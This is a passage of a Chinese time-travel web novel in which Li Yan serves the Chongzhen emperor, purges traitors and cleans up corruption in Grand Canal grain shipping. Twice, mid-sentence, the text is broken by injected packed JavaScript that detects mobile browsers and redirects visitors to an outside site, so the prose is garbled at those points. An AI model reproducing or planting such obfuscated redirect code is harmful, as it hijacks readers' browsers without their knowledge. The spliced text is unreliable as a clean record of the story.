李炎心中巨震。原来崇祯那夜说的“保太子南下”，皇后早就开始做了。这位看似柔弱的皇后，在最后关头，展现了惊人的决断。 “皇上知道吗？” “不知道。”周皇后惨笑，“本宫不敢说。但现在……该说了。李大人，请你转告皇上：本宫对不起他，对不起大明，但三个孩子……是无辜的。” 她站起身，整理衣衫，理好头发，又恢复了皇后的端庄仪态：“好了，你去吧。本宫……等皇上的旨意。” 李炎深深一揖，退出坤宁宫。门外，曹化淳迎上来，眼中有关切。 “娘娘她……” “暂时无碍。”李炎将玉佩收好，“曹公公，有劳你一件事——派可靠的人，去这个地方，确认三位皇子的安全。” 他将地址写在纸上，交给曹化淳。 “记住，要暗中进行，绝不能走漏风声。” “老奴明白。” 走出宫门时，天已蒙蒙亮。李炎望着晨曦中的紫禁城，第一次感到这座宫殿如此沉重——每一块砖瓦下，都压着秘密，每一处阴影里，都藏着算计。 而他，必须在这重重迷雾中，找到出路。 --- 辰时·朝会 太和殿上，百官肃立。 崇祯今日精神明显好了许多，穿着明黄色龙袍，端坐龙椅。待山呼万岁后，他开门见山： “北京之围已解，全赖将士用命，百官同心。朕今日，要论功行赏。” 王承恩展开圣旨，朗声宣读： “兵部右侍郎李炎，临危受命，运筹帷幄，退闯虏，保京师，功在社稷。加封太子太保、总督天下兵马，赐蟒袍玉带，赏黄金千两！” “京营总兵李国桢，守城有功，加封左都督，世袭锦衣卫千户！” “原工部员外郎宋应星，督造军器，功不可没，擢工部右侍郎，专司军器制造！” 一连串封赏，有人欢喜有人忧。李炎跪地谢恩时，能感觉到背后数十道目光，如芒在背。 封赏完毕，崇祯话锋一转：“有功则赏，有过……也要罚。” 殿内气氛骤冷。 “嘉定伯周奎，通敌卖国，证据确凿，着即抄家，三日后午门问斩！” “司设监少监王安、坤宁宫总管太监杜勋，勾结外敌，凌迟处死！” “另有二十三名官员……”崇祯顿了顿，目光扫过殿下，“朕给你们三天时间，自行上表请辞。三日后若还在朝堂，就别怪朕不念旧情了。” 死一般的寂静。被点名的官员脸色煞白，有人当场瘫软。 首辅魏藻德出列：“陛下，如此大案，是否应交由三法司会审……” “不必。”崇祯打断，“锦衣卫已审清楚了。魏阁老若有异议，可以看看这些。” 王承恩抬上一口木箱，打开，里面是堆积如山的卷宗。魏藻德翻看几页，手开始颤抖——里面不仅有周奎等人的罪证，还有一些……他不想看到的名字。 “陛下圣明。”他最终躬身退下。 朝会在诡异的气氛中结束。百官退朝时，无人交谈，个个面色凝重。 李炎正要离开，被王承恩叫住：“李太保，皇上在养心殿等您。” --- 巳时·养心殿 养心殿是崇祯平日批阅奏章的地方，陈设简朴。李炎进来时，崇祯正在看一幅地图——不是北京，是整个大明。 “爱卿来了。”崇祯招手，“过来看。” 李炎走近，地图上标注着密密麻麻的记号：红色是闯军控制区，黑色是清军威胁方向，蓝色是明军防线，黄色则是……已经失控的区域。 大明十八省，红色的区域占了近半——陕西、山西、河南、湖广北部……黑色的箭头从辽东指向京师，另一支从蒙古方向指向宣府。蓝色的防线支离破碎，黄色的区域还在扩大。 “看明白了吗？”崇祯声音平静，“北京守住了，但大明……已经千疮百孔。” 李炎沉默。他当然知道，历史上即使没有清军入关，李自成的大顺政权也已占据半壁江山。南明之所以能坚持那么久，是因为江南尚未糜烂，但现在…… “江南还能支撑多久？”崇祯忽然问。 “若漕运畅通，钱粮充足，至少能撑三年。” “三年……”崇祯苦笑，“爱卿，朕要你去做一件事——整顿漕运。” 李炎一怔。漕运是命脉，但也是最复杂的肥差，牵扯各方利益。让他这个“外人”去碰，必然阻力重重。 “陛下，臣对漕运……” “不懂可以学。”崇祯直视他，“但有些事，只有不懂的人才能做。漕运总督衙门上下，从总督到书吏，十之八九都有问题。朕派去三任钦差，一个暴病而亡，一个坠河失踪，一个……回来后就改口说漕运没问题。” 他敲着地图上的运河线：“每年四百万石漕粮，能到京师的不足三百万。剩下的一百万石，去哪了？还有漕银、漕丁、漕船……这里面，是多大一个窟窿？” 李炎明白了。崇祯要他做的，不只是整顿，是捅马蜂窝。 “臣需要人手。” “要谁给谁。”崇祯道，“宋应星可以帮你改进漕船，孙传庭可以带兵护卫。还有……朕会从南京调一个人来帮你。” “谁？” “史可法。” 李炎心中一振。这位后来的南明擎天柱，现在还是南京兵部尚书，以清廉刚直著称。 “史大人愿意？” “朕已下密旨。”崇祯道，“他三日后抵京。爱卿，整顿漕运不是一朝一夕之功，朕给你半年时间。半年后，朕要看到一百万石粮食运到通州。” 半年，一百万石。这是几乎不可能完成的任务。 但李炎知道，他必须完成。没有粮食，北京就守不住；北京守不住，一切就都完了。 “臣……领旨。” “还有这个。”崇祯从袖中取出一封信，“吴三桂送来的。” 李炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111034|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过。信写得很客气，先是祝贺北京解围，然后表示愿率关宁军入卫京师，但话里话外透着一个意思——要钱，要粮，要封赏。 “你怎么看？” “他想试探。”李炎道，“试探朝廷的态度，也试探自己的价值。” “那朕该给他什么？” “给他想要的。”李炎沉声道，“但不是白给。陛下可下旨，封吴三桂为平西侯，加太子太傅，赐尚方宝剑。但同时要他——移镇大同。” 大同在宣府以西，直面蒙古，是九边重镇。让吴三桂去那里，既给了他面子，也把他从山海关调开，还能加强西北防务。 崇祯眼睛一亮：“好计！但吴三桂会答应吗？” “他会。”李炎肯定，“因为大同比山海关安全。清军若再入寇，首当其冲的是蓟镇、宣府，大同在侧翼，可进可退。以吴三桂的性子，不会拒绝。” “那就这么办。”崇祯提笔拟旨，“不过，得派个得力的人去宣旨。” “臣愿往。” 崇祯抬头：“你？不行，你还要整顿漕运。” “两件事可以一起做。”李炎解释，“去大同要走运河，臣正好沿途视察漕务。而且……臣想亲眼看看，这位平西伯，到底是个什么样的人。” 知己知彼，百战不殆。吴三桂是未来最大的变数之一，必须摸清底细。 崇祯沉思良久，终于点头：“准。但要多带护卫，注意安全。” “谢陛下。” --- 午时·李府书房 回到府邸，李炎立即召集心腹。 宋应星、孙传庭、李国桢、曹化淳，还有刚从伤兵营回来的陈平，五人围坐书房。 李炎将朝会情况和崇祯的旨意说了一遍。 “整顿漕运，视察大同……”孙传庭皱眉，“大人，这两件事哪件都不好办。尤其漕运，那是马蜂窝，捅不好会蜇死人的。” “所以要请先生助我。”李炎看向宋应星，“漕船老旧，运力不足，损耗太大。先生可有改良之法？” 宋应星捋须：“老朽研究过漕船，主要问题有三：一是船型笨重，逆水行舟太慢；二是用料粗糙，易损易漏；三是装卸不便，耗时耗力。” 他走到书案前，画出草图：“老朽设想了一种新式漕船——船身加长，底部加宽，吃水浅但载货多。桅杆可升降，过闸方便。最重要的是……可以加装明轮。” “明轮？”李国桢不解。 “就是在船侧装轮子，由人力或畜力驱动，可提高航速，逆水也能行船。”宋应星解释，“此法古已有之，但未大规模应用。若能在漕船上推广，运力至少可增三成。” 李炎眼睛亮了。明轮就是早期轮船的雏形，虽然原始，但在这个时代已经是革命性的改进。 “好！请先生尽快设计，先造几艘样品试航。” “老朽领命。” 李炎又看向孙传庭：“孙将军，你挑选一千精兵，三日后随我南下。记住，要选可靠的，最好是家在京畿的——这样他们不会轻易背叛。” “末将明白。” “李总兵。”李炎转向李国桢，“我走之后，京城防务就交给你了。有三件事要特别注意：一是继续整训新军；二是监视百官动向；三是……保护三位皇子的安全。” 李国桢一惊：“皇子？” 李炎将坤宁宫之事简要说了一遍：“此事绝密，除在场诸位，不可再让第七人知道。” 众人神色凝重。皇子离宫，这意味着什么，大家都清楚——崇祯已经在做最坏的打算。 “曹公公。”李炎最后道，“宫中的事，还要劳你多费心。皇后娘娘那边……务必保证安全。另外，锦衣卫那边，我需要几个人。” “大人要谁？” “沈炼虽然死了，但他手下应该还有能用的。我要三个：一个擅长潜伏，一个精通刑讯，一个熟悉江湖门道。” 曹化淳点头：“老奴去办。” “好了，诸位各自准备吧。”李炎起身，“三日后，我们出发。” 众人散去后，李炎独自站在窗前。院子里，那棵老槐树正在抽新芽，嫩绿的叶子在阳光下透明如翡翠。 春天来了。但大明的春天，还会来吗？ 他不知道。他只知道，自己必须走下去，在这个时代，为这个文明，杀出一条血路。 哪怕前路荆棘，哪怕满手鲜血。 “大人。”春梅不知何时进来，端着一碗面，“您一天没吃东西了。” 清汤面，撒着葱花，热气腾腾。李炎接过，忽然问：“春梅，你想出宫吗？” 宫女一愣，随即跪下：“奴婢……但凭大人安排。” “我南下期间，会路过保定。你弟弟若还活着，应该在那里。”李炎道，“你可以跟我去，找他。” 春梅的眼泪瞬间涌出，重重磕头：“谢大人！谢大人！” “起来吧。”李炎扶起她，“去收拾东西。记住，这一路……不会太平。” 春梅擦泪退下。李炎看着她的背影，心中复杂。 在这个乱世，每个人都有自己的牵挂，自己的执念。而他，要守护这些微不足道的牵挂，让它们不至于在时代的洪流中湮灭。 这或许，就是他穿越的意义。 面还温热，他拿起筷子，大口吃起来。 吃饱了，才有力气战斗。 而战斗，还远未结束。 --- 申时·诏狱深处 曹化淳带着李炎穿过阴森的诏狱长廊。这里是锦衣卫关押重犯的地方，空气中弥漫着血腥和霉味。 最深处的牢房，周奎独自坐着。这位昔日的国丈，现在穿着囚服，头发花白散乱，但腰背还挺得笔直。 听见脚步声，他抬头，看到李炎，眼中闪过一丝讥诮：“李太保？怎么，来看老夫的笑话？” “奉皇上之命，来问几句话。”李炎示意狱卒开门，走进牢房。 曹化淳守在门外。 牢房里只有一床一桌，桌上放着纸笔——这是给重犯写供词用的。周奎没动。 “国丈还有什么想说的吗？”李炎问。 “该说的都说了。”周奎冷笑，“成王败寇，没什么好说的。只恨……只恨没早点动手。” “动手？对谁？” “对崇祯！”周奎忽然激动起来，“那个刚愎自用的小子！老夫把女儿嫁给他，助他登基，结果呢？他杀了魏忠贤，清算了阉党，连老夫的人也动！老夫在朝堂几十年，门生故旧遍布天下，他倒好，说杀就杀，说贬就贬！” 李炎静静听着。这就是明末党争的缩影——你死我活，没有中间道路。 “所以你就勾结闯军？” “闯军怎么了？”周奎反问，“李自成至少答应，破城后保留我等家产，许我们官职。崇祯呢？他恨不得把天下士绅都抄了家，充他的军饷！” “所以你不在乎谁坐天下，只在乎自己的利益？” “利益？”周奎笑了，笑声苍凉，“李太保，你还年轻，不懂。这天下，从来就是利益的天下。朱家能坐天下，是因为当初给了士绅好处。现在他们不给好处了，还想让我们卖命？做梦！” 李炎沉默。周奎说得赤裸，但某种程度上，他说的是事实——明末的统治基础已经崩塌，士绅阶层离心离德。 “你女儿呢？”他忽然问，“皇后娘娘为了你，差点自尽。你可曾为她想过？” 周奎脸上的狂态僵住了。良久，他低下头，声音嘶哑：“玉儿……是爹对不起你……” 一滴浑浊的眼泪，落在囚服上。 人之将死，其言也善。但李炎知道，这种忏悔太迟了。 “还有遗言吗？” 周奎抬起头，眼中恢复清明：“告诉玉儿，下辈子……别生在勋贵之家。还有，告诉崇祯——”他深吸一口气，“他杀老夫可以，但若想坐稳江山，就得学会……与士绅共天下。” 说完，他闭上眼睛，不再言语。 李炎退出牢房。曹化淳跟上：“大人，他……” “按旨意办吧。”李炎淡淡道，“给他个痛快。” “那皇后娘娘那边……” “实话实说。”李炎顿了顿，“但最后那句话……就不必转达了。” 有些真相，太残酷，不如不知道。 走出诏狱时，夕阳西斜。李炎望着天边的晚霞，忽然想起一首诗： “夕阳无限好，只是近黄昏。” 大明的黄昏，真的来了吗？ 他不信。至少，他来了，就要让这夕阳……再多挂一会儿。 哪怕只是一会儿。 8. 漕河暗流 卯时·通州码头 晨雾锁河，漕船如林。 李炎站在“安澜号”的船头，这是一艘新下水的四百料漕船，按宋应星的设计加装了明轮，船身刷着桐油，在薄雾中泛着青光。身后，十二艘同型船依次排开，组成首支“明轮船队”。 孙传庭按刀立于左舷，他的一千精兵分乘六船，皆做漕丁打扮，但甲胄藏在麻衣下，刀弓隐于货堆中。右舷是宋应星和二十名工匠，他们带着工具和图纸，此行既要视察漕务，也要实测新船。 春梅换了男装，扮作书童，安静地站在李炎身后。她怀里抱着个藤箱，里面是七星令、圣旨、以及李炎从现代带来的平板电脑——电量还剩41%，这是他最后的“仙器”。 “大人，都齐了。”曹化淳从跳板走上来，他也换了便服，像个老管家，“锦衣卫的三个人已在各船，沿途会暗中联络卫所、驿站。另外……”他压低声音，“宫里传来消息，皇后娘娘开始进食了。” 李炎点点头。那日从诏狱回来，他让曹化淳转告周皇后：“活着，才能等到三个皇子平安长大。”这话起了作用。 “开船吧。” 缆绳解开，长篙撑岸。明轮船队在晨雾中缓缓离港，木轮划开浑浊的河水，发出有节奏的哗啦声。通州城墙在雾中渐渐模糊，最终消失。 南下的路，开始了。 --- 辰时·运河上 雾散，天青。 运河两岸，景象触目惊心。本该是春耕时节，但大片田地荒芜，杂草丛生。偶尔可见零星农夫在劳作，个个面黄肌瘦。更远处，有村庄只剩残垣断壁，焦黑的梁木指向天空。 “都是闯贼祸害的。”孙传庭恨声道，“去岁他们东进，沿途烧杀抢掠，十室九空。” 李炎沉默。他记得史料记载，明末农民军确实纪律败坏，尤其流窜作战时，与匪类无异。但更深层的原因，是连续十几年的天灾、加派、贪腐，把百姓逼上了绝路。 “看那边。”宋应星指着右岸。 那里有座水闸，闸门半开，七八艘漕船堵在闸口。闸吏是个胖墩墩的汉子，正坐在棚子里喝茶，几个漕丁围着他点头哈腰，显然在疏通关节。 “每过一闸，都要使钱。”宋应星叹息，“少则三五两，多则十两。一艘漕船从杭州到通州，过闸上百，这‘闸费’就是千两。这些钱，最后都摊在漕粮上。” 李炎让船靠岸。他带着孙传庭和两个亲兵，走向闸棚。 胖闸吏见来人衣着普通，眼皮都不抬：“排队去，没看前面堵着吗？” “这闸多久开一次？”李炎问。 “你谁啊？”闸吏斜眼。 孙传庭上前一步，亮出腰牌——不是官凭，是京营的令牌。闸吏脸色一变，忙站起来：“原来是军爷……这闸，两个时辰开一次，一次过五艘。” “为何不常开？” “水不够啊。”闸吏叫苦，“上游没水，开了闸下游船就搁浅。只能攒够一波开一次。” 李炎走到闸边查看。闸是石砌的，设计还算合理，但维护极差，缝隙处长满青苔，绞盘铁锈斑斑。显然，所谓“水不够”是借口，真正目的是多收几次“闸费”。 “从今日起，此闸一个时辰开一次。”李炎淡淡道，“若再刁难漕船，你这差事就不用干了。” “你、你谁啊？凭啥……” 李炎亮出七星令。黑铁令牌在晨光中泛着冷光，“如朕亲临”四个字如重锤砸在闸吏心上。 胖闸吏腿一软，跪倒在地：“大、大人恕罪！小的有眼不识泰山……” “起来。”李炎收起令牌，“我问你，这闸的闸费，每年多少？上交多少？你自己留多少？” 闸吏汗如雨下，支支吾吾。李炎不再逼问，对孙传庭道：“记下他的名字，让后面船上的锦衣卫查。若有贪腐，按律处置。” 回到船上，船队优先过闸。其他漕船的船工们看到这一幕，纷纷跪在船上磕头。他们不知道李炎是谁，但知道来了个能治闸吏的大官。 “这只是冰山一角。”宋应星面色凝重，“运河上下，闸吏、河兵、催粮官、仓大使……层层盘剥。四百万石漕粮，能有一半真正用于国计民生，就算不错了。” 李炎望着远去的闸口，心中沉重。大明的血管——运河，已经堵塞化脓。他此行，就是要做外科手术，剜掉腐肉。 但手术刀下去，流的可能不只是脓血。 --- 午时·河西务 船队停靠河西务码头补给。这是北运河的重要枢纽，本该商贾云集，但如今萧条得很。码头边只有十几艘船，岸上店铺大半关门，开着的也门可罗雀。 李炎带人上岸。孙传庭派兵警戒，宋应星去查看码头设施，李炎则走进一家还在营业的茶肆。 茶肆老板是个独眼老汉，见有客来，忙擦桌子倒茶。茶水浑浊，茶叶梗浮在上面。 “老丈，生意不好做？”李炎问。 “能活着就不错了。”老汉叹气，“去年闯贼来过，抢了一通；今年清虏又来，又抢一通。有点家底的都跑了，剩下的……唉。” “漕船呢？我看码头空着大半。” “漕船？”老汉冷笑，“大人是外地来的吧？现在的漕船，十艘有八艘是空的——要么在南方就装了沙子石头充数，要么半路被‘河匪’劫了。真正运粮的，没几艘。” 李炎心中一动：“河匪？” “说是匪，谁知道呢。”老汉压低声音，“专劫漕船，但不杀人，只抢粮。抢完了还给你留点路费。有人说是漕帮自己搞的鬼，左手倒右手；也有人说是……官兵扮的。” 正说着，外面传来喧哗。孙传庭匆匆进来：“大人，码头上打起来了！” 李炎起身出去。只见码头空地上，两拨人正在对峙。一边是十几个衣衫褴褛的汉子，手持木棍扁担；另一边是五六个穿号衣的河兵，腰挎腰刀。 “怎么回事？” 一个河兵小旗上前行礼：“大人，这些刁民哄抢漕粮！卑职正在弹压！” “放屁！”为首的汉子三十多岁，满脸风霜，“那粮是我们自己的！被你们扣了三个月，家里老娘都快饿死了，还不让拿？” 李炎看向河兵小旗：“他说的可是实情？” 小旗支吾：“这、这粮是充公的……他们抗税不交，按律……” “按哪条律？”李炎打断，“大明律哪条规定，可以扣百姓口粮三个月？” 小旗答不上来。李炎走到那群汉子面前：“你们是本地人？” “回大人，小的是河西务农户。”汉子跪下，“去年遭了灾，秋粮减产，实在交不起税。官府就把我们存在社仓的种子粮扣了，说抵税。可那是春耕的种子啊……” 他身后的人纷纷跪倒，哭声一片。 李炎脸色铁青。社仓本是备荒的义仓，现在竟成了官府盘剥的工具。 “孙传庭。” “末将在。” “带人查封河西务粮仓，清点存粮。凡克扣百姓口粮、种子者，一律拿下。”李炎声音冰冷，“再派人去县衙，让县令一个时辰内来见我。” “是！” 河兵小旗想说什么，被孙传庭瞪了一眼，不敢再言。 李炎扶起那群农户：“粮食会还给你们。但我要问一句——若给了种子，你们能种出粮吗？” 汉子愣住，随即重重点头：“能！只要有种子，有地，我们就能种！” “好。”李炎从怀中取出一锭银子，约莫十两，“这钱，你们拿去买农具，修缮水渠。秋收后，我要看到河西务的田地，不再荒芜。” 汉子们磕头如捣蒜。李炎转身离开，心中却无喜悦。 十两银子，救得了十几户，救得了天下千万户吗？ --- 未时·县衙 河西务县令姓赵，四十多岁，瘦得像竹竿，官袍穿在身上空荡荡的。见到李炎，他直接跪倒：“下官参见李太保！” 李炎坐在县衙大堂，看着跪在地上的县令，良久才道：“赵县令，河西务在籍人口多少？现存多少？” “回、回太保，在籍八千六百户，现存……约五千户。” “那三千户呢？” “有的逃荒，有的……死于兵乱饥荒。” “去年赋税收了多少？” 赵县令汗出如浆：“应、应征粮一万二千石，实征……七千石。” “还有五千石呢？” “百姓实在交不起啊……”赵县令磕头，“太保明鉴，去岁大旱，秋粮减半，又遭兵祸，下官若强行催征，只怕民变……” “所以你就扣社仓的种子粮？”李炎声音转冷。 赵县令浑身发抖：“下官、下官也是没办法。朝廷催得急，漕粮定额完不成，下官这顶乌纱就保不住……” “保住乌纱，百姓就该死？”李炎拍案，“赵县令，你读圣贤书，可知‘民为贵，社稷次之，君为轻’？可知‘苛政猛于虎’？” 县令伏地不起，涕泪横流。 李炎看着他，忽然觉得悲哀。这个县令未必是坏人，他只是庞大官僚机器里的一颗螺丝，被制度逼着作恶。杀了赵县令，还会有张县令、李县令，只要制度不变，悲剧就会重演。 “起来吧。”他最终道，“给你三天时间，把克扣的粮食全部归还百姓。缺额部分，我从漕粮中拨补。另外——今年河西务的赋税，减免三成。” 赵县令愕然抬头：“太保，这……朝廷那边……” “朝廷那边，我担着。”李炎起身，“但你要答应我一件事——从今往后，社仓之粮，一粒也不能动。若再让我知道你盘剥百姓，掉的就不只是乌纱了。” “下官遵命！下官叩谢太保大恩！” 走出县衙时，孙传庭跟上来：“大人，这般处置……是否太宽了？那赵县令分明是渎职。” “杀了他容易。”李炎望着街巷间探头探脑的百姓，“但杀了之后呢？换个人来，照样要完成漕粮定额，照样会盘剥百姓。问题不在个人，在制度。” 他顿了顿：“传令船队，今日在河西务过夜。我要看看，这个运河枢纽，到底烂到了什么程度。” --- 申时·漕帮 河西务有漕帮分舵，设在码头旁的一座大院里。李炎带着孙传庭和两个锦衣卫，换了便服，以商贾名义求见。 接待的是个管事，姓钱，五十来岁，笑容可掬：“几位爷看着面生，是第一次走漕运？” “是。”李炎道，“有批货要从杭州运到通州，想问问行情。” “好说好说。”钱管事递上茶，“不知是什么货？多少量？” “丝绸五百匹，茶叶三百担。” 钱管事眼睛一亮：“这可是大买卖。不过嘛……现在运河不太平，河匪多，关卡也多。若无漕帮关照，恐怕到不了通州。” “如何关照？” “这个数。”钱管事伸出五根手指，“每船五十两‘护航费’，包您平安过闸、过关，遇到河匪也能摆平。” 李炎故作惊讶：“这么贵？官府不是有河兵吗？” “河兵？”钱管事嗤笑，“爷您是不知道，那些河兵，不抢您就不错了。实话跟您说，这运河上下，漕帮说了算。官府？也得给我们三分面子。” “漕帮这么大能耐？” “那是。”钱管事压低声音，“咱漕帮十万弟兄，从杭州到通州，哪段水路没有我们的人？莫说官府，就是……”他指了指北边，“就是关外的爷们，想走漕运，也得跟我们打招呼。” 李炎心中一动：“关外的？清虏？” 钱管事自知失言，忙摆手：“瞎说瞎说，我就打个比方。总之，爷您这买卖，交给漕帮准没错。五十两一船，童叟无欺。” 正说着，外面传来喧哗。一个汉子冲进来：“钱管事！出事了！王老大那船被扣了！” “扣了？谁扣的？” “新来的钦差！姓李的，带了好多兵，把码头封了，正在查船！” 钱管事脸色一变，看向李炎：“几位爷稍坐，我去看看。” 他匆匆出去。李炎对孙传庭使个眼色，孙传庭会意，悄然跟上。 约莫一刻钟后，孙传庭回来，神色凝重：“大人，查到了。那艘被扣的船，装的不是漕粮，是生铁和硝石。” 李炎瞳孔一缩：“运往何处？” “船主招了，是运往山海关方向……收货人是吴三桂的部下。” 吴三桂在囤积军火。这很正常，但通过漕帮走私，就耐人寻味了——漕粮都运不足，还有余力走私军火？ “走，去看看。” --- 酉时·码头仓库 被扣的是一艘二百料漕船，船主是个疤脸汉子，被绑在桅杆上。周围围满了漕丁，与孙传庭的兵对峙。 李炎到时，钱管事正在交涉：“军爷，这都是误会！这船是运往天津的，手续齐全……” “齐全？”李炎走上前，拿起船上的货单，“生铁五百斤，硝石三百斤，硫磺二百斤——天津卫要这么多火药原料做什么？” 钱管事看到李炎，脸色大变：“你、你是……” “本官李炎，奉旨整顿漕运。”李炎亮出身份，“钱管事，说说吧，漕帮这些年，除了走私军火，还干了什么？” 疤脸船主忽然吼道：“钱管事！别说了！说了全家都得死！” 李炎看向他：“你若如实交代，我保你家人安全。若顽抗……”他指了指码头边的水牢，“那里面，正好缺个住户。” 疤脸汉子挣扎片刻，终于崩溃：“我说！我都说！这货是运给平西伯的，不只是这一船，今年已经运了十几船了！漕帮上层和吴三桂有协议，帮他运军火，他保漕帮在辽东的生意……” “还有呢？” “还有……漕粮。”疤脸汉子喘着气，“每年四百万石定额，实际征收只有三百万，剩下的一百万……漕帮和各地粮道分了。有的虚报损耗，有的以次充好，有的干脆运沙子……” 围观的漕丁们哗然。他们底层卖苦力，不知道上层竟如此胆大妄为。 钱管事腿一软，瘫坐在地。 李炎面无表情：“孙传庭，把所有涉案人员押下，查封漕帮分舵，账册、文书全部收缴。”他看向围观的漕丁，“漕帮作恶，与尔等无关。从今日起，河西务码头由官府接管，凡愿继续跑船的，按官府新定工钱结算，每日现结，绝不拖欠。” 漕丁们将信将疑。李炎不再多说，让事实说话。 回到驻地时，天已黄昏。宋应星正在看收缴的账册，越看脸色越白。 “大人，这、这简直是硕鼠成窝！”他颤声道，“光是河西务分舵，去年就贪墨漕粮三万石，折银两万两！整个漕运系统，一年流失的，恐怕不下百万两！” 百万两。相当于大明一年军费的三分之一。 李炎闭目良久。他知道漕运腐败，但没想到如此触目惊心。这已经不只是贪腐，是系统性崩溃。 “先生，新式漕船的造价，算出来了吗？” “算出来了。”宋应星翻出图纸，“四百料明轮船，造价约八百两，是旧船的两倍。但载货量多三成，航速快五成，且省人工。若大规模建造，单价可降至七百两。” “好。”李炎睁开眼，“给皇上写奏折：请拨银五十万两，建造新式漕船五百艘，改组漕军，废除漕帮。同时，在运河沿线设稽查站，凡贪墨漕粮十石以上者，斩；百石以上者，族诛。” 孙传庭倒吸冷气：“大人，这……牵涉太广，恐生变乱。” “不变，就是等死。”李炎声音平静，“漕运是大明的命脉，命脉都被掐住了，还谈什么中兴？乱就乱，总好过慢慢流血而死。” 他走到窗边，望着运河上点点渔火。那些光点在暮色中摇曳，如这个王朝，明明灭灭。 “明日启程，继续南下。”他转身，“我要看看，这运河，到底还有多少脓疮。” --- 戌时·夜泊 船队夜泊在河西务下游十里处的河湾。这里僻静，两岸芦苇丛生，是个设伏的好地方——所以孙传庭布了三层警戒。 李炎在舱中看账册。春梅在一旁研墨，烛火将她的影子投在舱壁上。 “大人，您一天没怎么吃东西。”春梅轻声道。 李炎这才感到饥饿，接过她递来的馒头和咸菜，就着茶水吃下。馒头粗糙，咸菜齁咸，但他吃得很香。 “春梅，你老家是保定？” “是。”春梅低头，“家里原是开豆腐坊的，后来爹娘染病死了，弟弟才十二岁，就被……被拉去当夫子了。” “夫子”是民夫，随军搬运物资，九死一生。 “我会找到他的。”李炎承诺。 春梅忽然跪下：“大人，奴婢有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111035|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话，不知该不该说。” “说吧。” “今日在码头，您对那些漕丁说的话……他们都记在心里了。”春梅声音很轻，“奴婢刚才去船尾，听见两个老漕丁在说，要是早几十年遇到您这样的官，他们也不会沦落至此。大人，您……要小心。” “小心什么？” “漕帮势力太大。”春梅抬头，眼中有关切，“奴婢听说，漕帮总舵在杭州，帮主姓潘，人称‘龙王’，手下有十万弟兄，连南直隶的巡抚都要给他面子。您动了他的财路，他绝不会善罢甘休。” 李炎笑了，笑容有些冷：“十万弟兄？那又如何。我有大明律法，有皇上圣旨，有千万百姓的支持。他若敢反，我就让这运河，换个主人。” 话音刚落，舱外传来尖锐的哨声——敌袭！ 李炎抄起佩剑冲出去。甲板上，孙传庭已指挥士兵结阵。只见河面上，数十条小船从芦苇丛中窜出，船上人影绰绰，手中兵刃映着月光。 “放箭！” 箭矢破空。但来袭者显然熟悉水战，小船灵活躲闪，同时掷出钩索，勾住船舷，开始攀爬。 “是水匪！”孙传庭拔刀，“保护大人！” 战斗爆发。李炎没有退，他站在船楼，手持燧发手枪——还剩七发子弹。一个匪徒爬上来，被他当胸一枪，栽落河中。 但匪徒太多，而且训练有素，不像是普通水匪。李炎看到，他们手臂上都系着黑布条，动作整齐，进退有据。 “是漕帮的死士！”孙传庭砍翻一人，吼道，“他们来灭口的！” 果然，匪徒的目标明确——直扑李炎所在的旗舰。显然，河西务的事已经传出去，漕帮要在他南下之前，除掉这个“祸害”。 “宋先生呢？”李炎问。 “在底舱，有兵保护。”孙传庭边战边答，“大人，您先撤到……” 话没说完，一支弩箭射来，擦着李炎耳边飞过，钉在舱壁上。弩箭上绑着纸条。 李炎拔下箭，展开纸条，上面只有一句话：“今夜子时，独赴龙王庙，可保船队平安。否则，玉石俱焚。” 落款是一个字：潘。 漕帮龙王，潘永年。 李炎冷笑，将纸条撕碎。想威胁他？做梦。 “孙传庭！” “末将在！” “传令各船：点燃火把，擂响战鼓，把咱们带的‘一窝蜂’火箭，全给我打出去！”李炎声音如铁，“让这些水老鼠看看，什么是朝廷的王师！” 命令下达。瞬间，十二艘船同时点亮火把，将河面照得如同白昼。战鼓隆隆，压过喊杀声。然后，船舷旁掀开油布，露出五十具“一窝蜂”火箭发射架。 “放！” “咻咻咻——” 一千六百支火箭如流星雨般倾泻而出，覆盖了整个河面。火箭落地即炸，火光冲天，小木船在爆炸中碎裂，匪徒惨叫着落水。 一轮齐射，匪徒死伤过半。剩余的开始溃逃。 “追击！”孙传庭要下令。 “不用追了。”李炎摆手，“打扫战场，审问俘虏。我要知道，这个潘龙王，到底有多少斤两。” 战斗结束得很快。俘虏抓了十七个，孙传庭连夜审讯。李炎回到舱中，摊开地图。 龙王庙在三十里外，是漕帮在北直隶的重要据点。潘永年约他子时独赴，显然设了陷阱。 去，还是不去？ 李炎的手指在地图上划过。最终，停在龙王庙的位置。 “孙传庭。”他唤来将领，“挑一百精兵，全部换上便服，配短兵、□□。再让锦衣卫那三个好手过来。” “大人要赴约？” “赴约，但不是独赴。”李炎眼中闪过寒光，“他设陷阱，我就将计就计。正好，借这个机会，把漕帮在北直隶的势力，连根拔起。” “太危险了！” “危险？”李炎笑了，“守北京时，二十万大军我都面对过，还怕他一个江湖帮派？传令下去，船队照常南下，做出我还在船上的假象。我们……走陆路。” 他要给潘永年，一个惊喜。 --- 子时·龙王庙 龙王庙建在运河岔口的一座小岛上，三面环水，只有一条栈桥相通。庙宇不大，但香火很旺——漕帮供奉的“漕运龙王”，就是这里。 子时，月黑风高。 